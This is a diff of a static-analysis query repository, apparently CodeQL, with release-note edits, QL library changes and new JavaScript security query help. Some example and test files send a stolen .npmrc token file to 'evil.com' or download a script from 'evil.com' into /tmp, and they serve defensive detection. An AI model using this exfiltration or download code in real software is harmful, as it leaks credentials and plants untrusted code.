| Useless assignment to local variable (`js/useless-assignment-to-local`) | Fewer false positive results | Additional ways default values can be set are recognized. |
|
||||
| Useless conditional (`js/trivial-conditional`) | More results, fewer false positive results | More types of conditional are recognized. Additional defensive coding patterns are now ignored. |
|
||||
| Whitespace contradicts operator precedence (`js/whitespace-contradicts-precedence`) | Fewer false positive results | Operators with asymmetric whitespace are no longer highlighted. |
|
||||
| Wrong use of 'this' for static method (`js/mixed-static-instance-this-access`) | More results, fewer false-positive results | Inherited methods are now identified. |
|
||||
|
||||
## Changes to QL libraries
|
||||
|
||||
* A `DataFlow::ParameterNode` instance now exists for all function parameters. Previously, unused parameters did not have a corresponding dataflow node.
|
||||
* A `DataFlow::ParameterNode` instance now exists for all function parameters. Previously, unused parameters did not have a corresponding data-flow node.
|
||||
|
||||
* `ReactComponent::getAThisAccess` has been renamed to `getAThisNode`. The old name is still usable but is deprecated. It no longer gets individual `this` expressions, but the `ThisNode` mentioned above.
|
||||
* `ReactComponent::getAThisAccess` has been renamed to `getAThisNode`. The old name is still usable but is deprecated. It no longer gets individual `this` expressions, but the `ThisNode` mentioned below.
|
||||
|
||||
* The `DataFlow::ThisNode` class now corresponds to the implicit receiver parameter of a function, as opposed to an indivdual `this` expression. This means `getALocalSource` now maps all `this` expressions within a given function to the same source. The data-flow node associated with a `ThisExpr` can no longer be cast to `DataFlow::SourceNode` or `DataFlow::ThisNode` - it is recomended to use `getALocalSource` before casting or instead of casting.
|
||||
* The `DataFlow::ThisNode` class now corresponds to the implicit receiver parameter of a function, as opposed to an individual `this` expression. This means that `getALocalSource` now maps all `this` expressions within a given function to the same source. The data-flow node associated with a `ThisExpr` can no longer be cast to `DataFlow::SourceNode` or `DataFlow::ThisNode`. Using `getALocalSource` before casting, or instead of casting, is recommended.
|
||||
|
||||
* The flow configuration framework now supports distinguishing and tracking different kinds of taint, specified by an extensible class `FlowLabel` (which can also be referred to by its alias `TaintKind`).
|
||||
|
||||
@@ -70,12 +70,22 @@ Most security alerts are now visible on LGTM by default. This means that you may
|
||||
|
||||
## Changes to code extraction
|
||||
|
||||
* Improved scalability: Scaling is near linear to at least 20 CPU cores.
|
||||
* Five levels of logging can be selected: `ERROR`, `WARN`, `INFO`, `DEBUG` and `TRACE`. LGTM uses `INFO` level logging. QL tools use `WARN` level logging by default.
|
||||
* The `-v` flag can be specified multiple times to increase logging level by one per `-v`.
|
||||
* The `-q` flag has been added and can be specified multiple times to reduce the logging level by one per `-q`.
|
||||
## Improved reporting of encoding errors
|
||||
|
||||
The extractor now outputs the location of the first character that triggers an `EncodingError`.
|
||||
Any queries that report encoding errors will now show results at the location of the character that caused the error.
|
||||
|
||||
### Improved scalability
|
||||
|
||||
Scaling is near linear to at least 20 CPU cores.
|
||||
|
||||
### Improved logging
|
||||
|
||||
* Five levels of logging are available: `CRITICAL`, `ERROR`, `WARN`, `INFO` and `DEBUG`. `WARN` is the default.
|
||||
* LGTM uses `INFO` level logging. QL tools use `WARN` level logging by default.
|
||||
* The `--verbose` flag can be specified specified multiple times to increase the logging level once per flag added.
|
||||
* The `--quiet` flag can be specified multiple times to reduce the logging level once per flag added.
|
||||
* Log lines are now in the `[SEVERITY] message` style and never overlap.
|
||||
* The extractor now outputs the location of the first character that triggers an EncodingError.
|
||||
|
||||
## Changes to QL libraries
|
||||
|
||||
|
||||
@@ -2,21 +2,9 @@
|
||||
|
||||
# Improvements to JavaScript analysis
|
||||
|
||||
> NOTES
|
||||
>
|
||||
> Please describe your changes in terms that are suitable for
|
||||
> customers to read. These notes will have only minor tidying up
|
||||
> before they are published as part of the release notes.
|
||||
>
|
||||
> This file is written for lgtm users and should contain *only*
|
||||
> notes about changes that affect lgtm enterprise users. Add
|
||||
> any other customer-facing changes to the `studio-java.md`
|
||||
> file.
|
||||
>
|
||||
|
||||
## General improvements
|
||||
|
||||
* On LGTM, files whose name ends in `.min.js` or `-min.js` are no longer extracted by default, since they most likely contain minified code and results in these files would be hidden by default anyway. To extract such files anyway, you can add the following filters to your `lgtm.yml` file (or add them to existing filters):
|
||||
* On LGTM, files whose name ends in `.min.js` or `-min.js` are no longer extracted by default. These files usually contain minified code and any alerts in these files would be hidden by default. If you still want to extract code from these files, you can add the following filters to your `lgtm.yml` file (or add them to existing filters):
|
||||
|
||||
```yaml
|
||||
extraction:
|
||||
@@ -27,13 +15,13 @@ extraction:
|
||||
- include: "**/*-min.js"
|
||||
```
|
||||
|
||||
## Changes to code extraction
|
||||
|
||||
* The TypeScript compiler is now bundled with the distribution, and no longer needs to be installed manually.
|
||||
Should the compiler version need to be overridden, set the `SEMMLE_TYPESCRIPT_HOME` environment variable to
|
||||
* The TypeScript compiler is now included in the LGTM Enterprise and QL command-line tools installations, and you no longer need to install it manually.
|
||||
If you need to override the compiler version, set the `SEMMLE_TYPESCRIPT_HOME` environment variable to
|
||||
point to an installation of the `typescript` NPM package.
|
||||
|
||||
* The extractor now supports [Optional Chaining](https://github.com/tc39/proposal-optional-chaining) expressions.
|
||||
## Changes to code extraction
|
||||
|
||||
* The extractor now supports additional [Flow](https://flow.org/) syntax.
|
||||
The extractor now supports:
|
||||
|
||||
* [Optional Chaining](https://github.com/tc39/proposal-optional-chaining) expressions.
|
||||
* Additional [Flow](https://flow.org/) syntax.
|
||||
|
||||
@@ -51,7 +51,6 @@ predicate dereferenceThis(Expr e) {
|
||||
* This includes functions whose body is not in the database.
|
||||
*/
|
||||
predicate returnsPointerThis(Function f) {
|
||||
f.getType().getUnspecifiedType() instanceof PointerType and
|
||||
forall(ReturnStmt s | s.getEnclosingFunction() = f and reachable(s) |
|
||||
// `return this`
|
||||
pointerThis(s.getExpr())
|
||||
@@ -64,7 +63,6 @@ predicate returnsPointerThis(Function f) {
|
||||
* database.
|
||||
*/
|
||||
predicate returnsDereferenceThis(Function f) {
|
||||
f.getType().getUnspecifiedType() instanceof ReferenceType and
|
||||
forall(ReturnStmt s | s.getEnclosingFunction() = f and reachable(s) |
|
||||
// `return *this`
|
||||
dereferenceThis(s.getExpr())
|
||||
@@ -76,7 +74,7 @@ predicate assignOperatorWithWrongType(Operator op, string msg) {
|
||||
and exists(op.getBlock())
|
||||
and exists(Class c |
|
||||
c = op.getDeclaringType()
|
||||
and op.getType() = c
|
||||
and op.getType().getUnspecifiedType() = c
|
||||
and msg = "Assignment operator in class " + c.getName() + " should have return type " + c.getName() + "&. Otherwise a copy is created at each call."
|
||||
)
|
||||
}
|
||||
|
||||
@@ -181,11 +181,35 @@ private:
|
||||
Forgivable operator=(int *_val);
|
||||
};
|
||||
|
||||
// This template has structure similar to `std::enable_if`.
|
||||
template<typename S, typename T>
|
||||
struct second {
|
||||
typedef T type;
|
||||
};
|
||||
|
||||
struct TemplatedAssignmentGood {
|
||||
template<typename T>
|
||||
typename second<T, TemplatedAssignmentGood &>::type operator=(T val) { // GOOD
|
||||
return *this;
|
||||
}
|
||||
};
|
||||
|
||||
struct TemplatedAssignmentBad {
|
||||
template<typename T>
|
||||
typename second<T, TemplatedAssignmentBad>::type operator=(T val) { // BAD (missing &)
|
||||
return *this;
|
||||
}
|
||||
};
|
||||
|
||||
int main() {
|
||||
Container c;
|
||||
c = c;
|
||||
TemplateReturnAssignment<int> tra(1);
|
||||
tra = 2;
|
||||
tra = true;
|
||||
TemplatedAssignmentGood taGood;
|
||||
taGood = 3;
|
||||
TemplatedAssignmentBad taBad;
|
||||
taBad = 4;
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -2,3 +2,4 @@
|
||||
| AV Rule 82.cpp:24:8:24:16 | operator= | Assignment operator in class Bad2 should have return type Bad2&. Otherwise a copy is created at each call. |
|
||||
| AV Rule 82.cpp:63:29:63:29 | operator= | Assignment operator in class TemplateReturnAssignment<int> does not return a reference to *this. |
|
||||
| AV Rule 82.cpp:63:29:63:37 | operator= | Assignment operator in class TemplateReturnAssignment<T> does not return a reference to *this. |
|
||||
| AV Rule 82.cpp:199:52:199:52 | operator= | Assignment operator in class TemplatedAssignmentBad should have return type TemplatedAssignmentBad&. Otherwise a copy is created at each call. |
|
||||
|
||||
@@ -35,7 +35,6 @@ where
|
||||
fromKind = getKind(fromMethod) and
|
||||
toKind = getKind(toMethod) and
|
||||
toKind != fromKind and
|
||||
not toKind = fromKind and
|
||||
|
||||
// exceptions
|
||||
not (
|
||||
|
||||
37
javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp
Normal file
37
javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp
Normal file
@@ -0,0 +1,37 @@
|
||||
<!DOCTYPE qhelp PUBLIC
|
||||
"-//Semmle//qhelp//EN"
|
||||
"qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>
|
||||
Sending local file system data to a remote URL without further
|
||||
validation risks uncontrolled information exposure, and may be
|
||||
an indication of malicious backdoor code that has been
|
||||
implanted into an otherwise trusted code base.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
Examine the highlighted code closely to ensure that it is
|
||||
behaving as intended.
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
The following example is adapted from backdoor code that was identified in two
|
||||
popular npm packages. It reads the contents of the <code>.npmrc</code> file
|
||||
(which may contain secret npm tokens) and sends it to a remote server by
|
||||
embedding it into an HTTP request header.
|
||||
</p>
|
||||
<sample src="examples/FileAccessToHttp.js"/>
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>ESLint Blog: <a href="https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes">Postmortem for Malicious Packages Published on July 12th, 2018</a>.</li>
|
||||
<li>OWASP: <a href="https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure">Sensitive Data Exposure</a>.</li>
|
||||
<li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
|
||||
</references>
|
||||
</qhelp>
|
||||
@@ -0,0 +1,10 @@
|
||||
var fs = require("fs"),
|
||||
https = require("https");
|
||||
|
||||
var content = fs.readFileSync(".npmrc", "utf8");
|
||||
https.get({
|
||||
hostname: "evil.com",
|
||||
path: "/upload",
|
||||
method: "GET",
|
||||
headers: { Referer: content }
|
||||
}, () => { });
|
||||
43
javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp
Normal file
43
javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp
Normal file
@@ -0,0 +1,43 @@
|
||||
<!DOCTYPE qhelp PUBLIC
|
||||
"-//Semmle//qhelp//EN"
|
||||
"qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>
|
||||
Storing user-controlled data on the local file system without
|
||||
further validation allows arbitrary file upload, and may be
|
||||
an indication of malicious backdoor code that has been
|
||||
implanted into an otherwise trusted code base.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
Examine the highlighted code closely to ensure that it is
|
||||
behaving as intended.
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
The following example shows backdoor code that downloads data
|
||||
from the URL <code>https://evil.com/script</code>, and stores
|
||||
it in the local file <code>/tmp/script</code>.
|
||||
</p>
|
||||
|
||||
<sample src="examples/HttpToFileAccess.js"/>
|
||||
|
||||
<p>
|
||||
Other parts of the program might then assume that since
|
||||
<code>/tmp/script</code> is a local file its contents can be
|
||||
trusted, while in fact they are obtained from an untrusted
|
||||
remote source.
|
||||
</p>
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
|
||||
<li>OWASP: <a href="https://www.owasp.org/index.php/Unrestricted_File_Upload">Unrestricted File Upload</a>.</li>
|
||||
</references>
|
||||
</qhelp>
|
||||
@@ -6,6 +6,7 @@
|
||||
* @id js/http-to-file-access
|
||||
* @tags security
|
||||
* external/cwe/cwe-912
|
||||
* external/cwe/cwe-434
|
||||
*/
|
||||
|
||||
import javascript
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
var https = require("https");
|
||||
var fs = require("fs");
|
||||
|
||||
https.get('https://evil.com/script', res => {
|
||||
res.on("data", d => {
|
||||
fs.writeFileSync("/tmp/script", d)
|
||||
})
|
||||
});
|
||||
@@ -1,4 +1,9 @@
|
||||
nodes
|
||||
| FileAccessToHttp.js:4:5:4:47 | content |
|
||||
| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") |
|
||||
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} |
|
||||
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } |
|
||||
| FileAccessToHttp.js:9:23:9:29 | content |
|
||||
| bufferRead.js:12:13:12:43 | buffer |
|
||||
| bufferRead.js:12:22:12:43 | new Buf ... s.size) |
|
||||
| bufferRead.js:13:53:13:52 | buffer |
|
||||
@@ -53,6 +58,10 @@ nodes
|
||||
| sentAsHeaders.js:24:31:24:53 | "http:/ ... content |
|
||||
| sentAsHeaders.js:24:47:24:53 | content |
|
||||
edges
|
||||
| FileAccessToHttp.js:4:5:4:47 | content | FileAccessToHttp.js:9:23:9:29 | content |
|
||||
| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content |
|
||||
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} |
|
||||
| FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } |
|
||||
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:53:13:52 | buffer |
|
||||
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer |
|
||||
| bufferRead.js:13:53:13:52 | buffer | bufferRead.js:15:26:15:31 | buffer |
|
||||
@@ -100,6 +109,7 @@ edges
|
||||
| sentAsHeaders.js:24:31:24:53 | "http:/ ... content | sentAsHeaders.js:24:20:24:55 | { Refer ... ntent } |
|
||||
| sentAsHeaders.js:24:47:24:53 | content | sentAsHeaders.js:24:31:24:53 | "http:/ ... content |
|
||||
#select
|
||||
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | $@ flows directly to outbound network request | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | File data |
|
||||
| bufferRead.js:33:21:33:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:33:21:33:28 | postData | $@ flows directly to outbound network request | bufferRead.js:12:22:12:43 | new Buf ... s.size) | File data |
|
||||
| googlecompiler.js:38:18:38:26 | post_data | googlecompiler.js:44:54:44:57 | data | googlecompiler.js:38:18:38:26 | post_data | $@ flows directly to outbound network request | googlecompiler.js:44:54:44:57 | data | File data |
|
||||
| readFileSync.js:26:18:26:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:26:18:26:18 | s | $@ flows directly to outbound network request | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | File data |
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
var fs = require("fs"),
|
||||
https = require("https");
|
||||
|
||||
var content = fs.readFileSync(".npmrc", "utf8");
|
||||
https.get({
|
||||
hostname: "evil.com",
|
||||
path: "/upload",
|
||||
method: "GET",
|
||||
headers: { Referer: content }
|
||||
}, () => { });
|
||||
@@ -1,15 +1,19 @@
|
||||
nodes
|
||||
| HttpToFileAccess.js:5:18:5:18 | d |
|
||||
| HttpToFileAccess.js:6:37:6:37 | d |
|
||||
| tst.js:15:26:15:26 | c |
|
||||
| tst.js:16:33:16:33 | c |
|
||||
| tst.js:19:25:19:25 | c |
|
||||
| tst.js:23:27:23:26 | c |
|
||||
| tst.js:24:22:24:22 | c |
|
||||
edges
|
||||
| HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d |
|
||||
| tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c |
|
||||
| tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c |
|
||||
| tst.js:15:26:15:26 | c | tst.js:23:27:23:26 | c |
|
||||
| tst.js:23:27:23:26 | c | tst.js:24:22:24:22 | c |
|
||||
#select
|
||||
| HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | $@ flows to file system | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data |
|
||||
| tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data |
|
||||
| tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data |
|
||||
| tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data |
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
var https = require("https");
|
||||
var fs = require("fs");
|
||||
|
||||
https.get('https://evil.com/script', res => {
|
||||
res.on("data", d => {
|
||||
fs.writeFileSync("/tmp/script", d)
|
||||
});
|
||||
});
|
||||
@@ -44,6 +44,7 @@
|
||||
* @return {void}
|
||||
*/
|
||||
fs.writeFile = function(filename, data, callback) {};
|
||||
|
||||
/**
|
||||
* @param {string} filename
|
||||
* @param {*} data
|
||||
@@ -52,11 +53,11 @@ fs.writeFile = function(filename, data, callback) {};
|
||||
* @return {void}
|
||||
*/
|
||||
fs.writeFile = function(filename, data, options, callback) {};
|
||||
|
||||
/**
|
||||
* @param {string} filename
|
||||
* @param {*} data
|
||||
* @param {{encoding: string, mode: string, flag: string}} options
|
||||
* @param {(function(NodeJS.ErrnoException): void)=} callback
|
||||
* @param {{encoding: string, mode: string, flag: string}=} options
|
||||
* @return {void}
|
||||
*/
|
||||
fs.writeFile = function(filename, data, options, callback) {};
|
||||
fs.writeFileSync = function(filename, data, options) {};
|
||||
|
||||
@@ -154,6 +154,8 @@ private string location_string(EssaVariable v) {
|
||||
|
|
||||
def = TEssaNodeDefinition(_, b, index)
|
||||
or
|
||||
def = TEssaNodeRefinement(_, b, index)
|
||||
or
|
||||
def = TEssaEdgeDefinition(_, _, b) and index = piIndex()
|
||||
or
|
||||
def = TPhiFunction(_, b) and index = phiIndex()
|
||||
@@ -177,7 +179,11 @@ private int var_rank(EssaVariable v) {
|
||||
/** Underlying IPA type for EssaDefinition and EssaVariable. */
|
||||
private cached newtype TEssaDefinition =
|
||||
TEssaNodeDefinition(SsaSourceVariable v, BasicBlock b, int i) {
|
||||
EssaDefinitions::variableUpdate(v, _, b, _, i)
|
||||
EssaDefinitions::variableDefinition(v, _, b, _, i)
|
||||
}
|
||||
or
|
||||
TEssaNodeRefinement(SsaSourceVariable v, BasicBlock b, int i) {
|
||||
EssaDefinitions::variableRefinement(v, _, b, _, i)
|
||||
}
|
||||
or
|
||||
TEssaEdgeDefinition(SsaSourceVariable v, BasicBlock pred, BasicBlock succ) {
|
||||
@@ -446,21 +452,15 @@ class PhiFunction extends EssaDefinition, TPhiFunction {
|
||||
}
|
||||
}
|
||||
|
||||
library class EssaNode extends EssaDefinition, TEssaNodeDefinition {
|
||||
/** A definition of an ESSA variable that is not directly linked to
|
||||
* another ESSA variable.
|
||||
*/
|
||||
class EssaNodeDefinition extends EssaDefinition, TEssaNodeDefinition {
|
||||
|
||||
override string toString() {
|
||||
result = "Essa node definition"
|
||||
}
|
||||
|
||||
/** Gets the ControlFlowNode corresponding to this definition */
|
||||
ControlFlowNode getDefiningNode() {
|
||||
this.definedBy(_, result)
|
||||
}
|
||||
|
||||
override Location getLocation() {
|
||||
result = this.getDefiningNode().getLocation()
|
||||
}
|
||||
|
||||
override ControlFlowNode getAUse() {
|
||||
exists(SsaSourceVariable v, BasicBlock b, int i |
|
||||
this = TEssaNodeDefinition(v, b, i) and
|
||||
@@ -479,6 +479,15 @@ library class EssaNode extends EssaDefinition, TEssaNodeDefinition {
|
||||
this = TEssaNodeDefinition(result, _, _)
|
||||
}
|
||||
|
||||
/** Gets the ControlFlowNode corresponding to this definition */
|
||||
ControlFlowNode getDefiningNode() {
|
||||
this.definedBy(_, result)
|
||||
}
|
||||
|
||||
override Location getLocation() {
|
||||
result = this.getDefiningNode().getLocation()
|
||||
}
|
||||
|
||||
override string getRepresentation() {
|
||||
result = this.getDefiningNode().toString()
|
||||
}
|
||||
@@ -501,27 +510,9 @@ library class EssaNode extends EssaDefinition, TEssaNodeDefinition {
|
||||
|
||||
}
|
||||
|
||||
/** A definition of an ESSA variable that is not directly linked to
|
||||
* another ESSA variable.
|
||||
*/
|
||||
class EssaNodeDefinition extends EssaNode {
|
||||
|
||||
EssaNodeDefinition() {
|
||||
this.getSourceVariable().hasDefiningNode(this.getDefiningNode())
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/** A definition of an ESSA variable that takes another ESSA variable as an input.
|
||||
*/
|
||||
class EssaNodeRefinement extends EssaNode {
|
||||
|
||||
EssaNodeRefinement() {
|
||||
exists(SsaSourceVariable v, ControlFlowNode def |
|
||||
this.definedBy(v, def) and
|
||||
v.hasRefinement(_, def)
|
||||
)
|
||||
}
|
||||
class EssaNodeRefinement extends EssaDefinition, TEssaNodeRefinement {
|
||||
|
||||
override string toString() {
|
||||
result = "SSA filter definition"
|
||||
@@ -533,22 +524,62 @@ class EssaNodeRefinement extends EssaNode {
|
||||
not result = potential_input(potential_input(this).getDefinition())
|
||||
}
|
||||
|
||||
override ControlFlowNode getAUse() {
|
||||
exists(SsaSourceVariable v, BasicBlock b, int i |
|
||||
this = TEssaNodeRefinement(v, b, i) and
|
||||
SsaDefinitions::reachesUse(v, b, i, result)
|
||||
)
|
||||
}
|
||||
|
||||
override predicate reachesEndOfBlock(BasicBlock b) {
|
||||
exists(BasicBlock defb, int i |
|
||||
this = TEssaNodeRefinement(_, defb, i) and
|
||||
SsaDefinitions::reachesEndOfBlock(this.getSourceVariable(), defb, i, b)
|
||||
)
|
||||
}
|
||||
|
||||
override SsaSourceVariable getSourceVariable() {
|
||||
this = TEssaNodeRefinement(result, _, _)
|
||||
}
|
||||
|
||||
/** Gets the ControlFlowNode corresponding to this definition */
|
||||
ControlFlowNode getDefiningNode() {
|
||||
this.definedBy(_, result)
|
||||
}
|
||||
|
||||
override Location getLocation() {
|
||||
result = this.getDefiningNode().getLocation()
|
||||
}
|
||||
|
||||
override string getRepresentation() {
|
||||
result = this.getAQlClass() + "(" + this.getInput().getRepresentation() + ")"
|
||||
}
|
||||
|
||||
override Scope getScope() {
|
||||
exists(BasicBlock defb |
|
||||
this = TEssaNodeRefinement(_, defb, _) and
|
||||
result = defb.getScope()
|
||||
)
|
||||
}
|
||||
|
||||
predicate definedBy(SsaSourceVariable v, ControlFlowNode def) {
|
||||
exists(BasicBlock b, int i |
|
||||
def = b.getNode(i) |
|
||||
this = TEssaNodeRefinement(v, b, i+i)
|
||||
or
|
||||
this = TEssaNodeRefinement(v, b, i+i+1)
|
||||
)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
pragma[noopt]
|
||||
private EssaVariable potential_input(EssaNodeRefinement ref) {
|
||||
exists(EssaNode node, ControlFlowNode use, SsaSourceVariable var, ControlFlowNode def |
|
||||
exists(ControlFlowNode use, SsaSourceVariable var, ControlFlowNode def |
|
||||
var.hasRefinement(use, def) and
|
||||
use = result.getAUse() and
|
||||
var = result.getSourceVariable() and
|
||||
def = node.getDefiningNode() and
|
||||
var = node.getSourceVariable() and
|
||||
ref = (EssaNodeRefinement)node
|
||||
def = ref.getDefiningNode() and
|
||||
var = ref.getSourceVariable()
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -99,8 +99,8 @@ private cached module SsaComputeImpl {
|
||||
cached module EssaDefinitionsImpl {
|
||||
|
||||
/** Whether `n` is a live update that is a definition of the variable `v`. */
|
||||
cached predicate variableUpdate(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int rankix, int i) {
|
||||
SsaComputeImpl::variableDef(v, n, b, i) and
|
||||
cached predicate variableDefinition(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int rankix, int i) {
|
||||
SsaComputeImpl::variableDefine(v, n, b, i) and
|
||||
SsaComputeImpl::defUseRank(v, b, rankix, i) and
|
||||
(
|
||||
SsaComputeImpl::defUseRank(v, b, rankix+1, _) and not SsaComputeImpl::defRank(v, b, rankix+1, _)
|
||||
@@ -109,6 +109,23 @@ private cached module SsaComputeImpl {
|
||||
)
|
||||
}
|
||||
|
||||
/** Whether `n` is a live update that is a definition of the variable `v`. */
|
||||
cached predicate variableRefinement(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int rankix, int i) {
|
||||
SsaComputeImpl::variableRefine(v, n, b, i) and
|
||||
SsaComputeImpl::defUseRank(v, b, rankix, i) and
|
||||
(
|
||||
SsaComputeImpl::defUseRank(v, b, rankix+1, _) and not SsaComputeImpl::defRank(v, b, rankix+1, _)
|
||||
or
|
||||
not SsaComputeImpl::defUseRank(v, b, rankix+1, _) and Liveness::liveAtExit(v, b)
|
||||
)
|
||||
}
|
||||
|
||||
cached predicate variableUpdate(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int rankix, int i) {
|
||||
variableDefinition(v, n, b, rankix, i)
|
||||
or
|
||||
variableRefinement(v, n, b, rankix, i)
|
||||
}
|
||||
|
||||
/** Holds if `def` is a pi-node for `v` on the edge `pred` -> `succ` */
|
||||
cached predicate piNode(SsaSourceVariable v, BasicBlock pred, BasicBlock succ) {
|
||||
v.hasRefinementEdge(_, pred, succ) and
|
||||
@@ -128,8 +145,8 @@ private cached module SsaComputeImpl {
|
||||
}
|
||||
}
|
||||
|
||||
cached predicate variableDef(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int i) {
|
||||
(v.hasDefiningNode(n) or v.hasRefinement(_, n))
|
||||
cached predicate variableDefine(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int i) {
|
||||
v.hasDefiningNode(n)
|
||||
and
|
||||
exists(int j |
|
||||
n = b.getNode(j) and
|
||||
@@ -137,6 +154,19 @@ private cached module SsaComputeImpl {
|
||||
)
|
||||
}
|
||||
|
||||
cached predicate variableRefine(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int i) {
|
||||
v.hasRefinement(_, n)
|
||||
and
|
||||
exists(int j |
|
||||
n = b.getNode(j) and
|
||||
i = j*2 + 1
|
||||
)
|
||||
}
|
||||
|
||||
cached predicate variableDef(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int i) {
|
||||
variableDefine(v, n, b, i) or variableRefine(v, n, b, i)
|
||||
}
|
||||
|
||||
/**
|
||||
* A ranking of the indices `i` at which there is an SSA definition or use of
|
||||
* `v` in the basic block `b`.
|
||||
|
||||
@@ -79,24 +79,12 @@ abstract class PythonSsaSourceVariable extends SsaSourceVariable {
|
||||
}
|
||||
|
||||
override predicate hasRefinementEdge(ControlFlowNode use, BasicBlock pred, BasicBlock succ) {
|
||||
test_contains(pred.getLastNode(), use) and
|
||||
use.(NameNode).uses(this) and
|
||||
exists(ControlFlowNode test |
|
||||
test.getAChild*() = use and
|
||||
test.isBranch() and
|
||||
test = pred.getLastNode()
|
||||
) and
|
||||
(pred.getAFalseSuccessor() = succ or pred.getATrueSuccessor() = succ)
|
||||
and
|
||||
(pred.getAFalseSuccessor() = succ or pred.getATrueSuccessor() = succ) and
|
||||
/* There is a store to this variable -- We don't want to refine builtins */
|
||||
exists(this.(Variable).getAStore()) and
|
||||
/* There is at least one use or definition of the variable that is reachable by the test */
|
||||
exists(ControlFlowNode n |
|
||||
n = this.getAUse() or
|
||||
this.hasDefiningNode(n) |
|
||||
pred.(ConditionBlock).strictlyReaches(n.getBasicBlock())
|
||||
)
|
||||
exists(this.(Variable).getAStore())
|
||||
}
|
||||
|
||||
override ControlFlowNode getASourceUse() {
|
||||
result.(NameNode).uses(this)
|
||||
or
|
||||
@@ -107,11 +95,11 @@ abstract class PythonSsaSourceVariable extends SsaSourceVariable {
|
||||
|
||||
}
|
||||
|
||||
|
||||
class FunctionLocalVariable extends PythonSsaSourceVariable {
|
||||
|
||||
FunctionLocalVariable() {
|
||||
this.(LocalVariable).getScope() instanceof Function and not this.(LocalVariable).escapes()
|
||||
this.(LocalVariable).getScope() instanceof Function and
|
||||
not this instanceof NonLocalVariable
|
||||
}
|
||||
|
||||
override ControlFlowNode getAnImplicitUse() {
|
||||
@@ -120,8 +108,14 @@ class FunctionLocalVariable extends PythonSsaSourceVariable {
|
||||
|
||||
override ControlFlowNode getScopeEntryDefinition() {
|
||||
not this.(LocalVariable).getId() = "*" and
|
||||
not this.(LocalVariable).isParameter() and
|
||||
this.(LocalVariable).getScope().getEntryNode() = result
|
||||
exists(Scope s |
|
||||
s.getEntryNode() = result |
|
||||
s = this.(LocalVariable).getScope() and
|
||||
not this.(LocalVariable).isParameter()
|
||||
or
|
||||
s != this.(LocalVariable).getScope() and
|
||||
s = this.(LocalVariable).getALoad().getScope()
|
||||
)
|
||||
}
|
||||
|
||||
override CallNode redefinedAtCallSite() { none() }
|
||||
@@ -131,7 +125,10 @@ class FunctionLocalVariable extends PythonSsaSourceVariable {
|
||||
class NonLocalVariable extends PythonSsaSourceVariable {
|
||||
|
||||
NonLocalVariable() {
|
||||
this.(LocalVariable).getScope() instanceof Function and this.(LocalVariable).escapes()
|
||||
exists(Function f |
|
||||
